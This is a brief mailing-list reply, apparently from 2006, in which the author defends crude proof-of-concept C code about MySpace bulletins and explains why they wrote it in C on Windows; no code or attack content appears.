Like I already said, the code is pretty crappy. The point isn't the horrible code, it's the myspace bulletins. The code is also exactly what I said, proof of concept. There are probably hundreds of different ways of doing it, but the point is that it works. Also, I was using windows at the time of writing the code, and I didn't want to touch batch scripting, and the C compiler was the only thing readily available :) On 7/2/06, Morgan Reed <morgan.s.reed () gmail com> wrote:
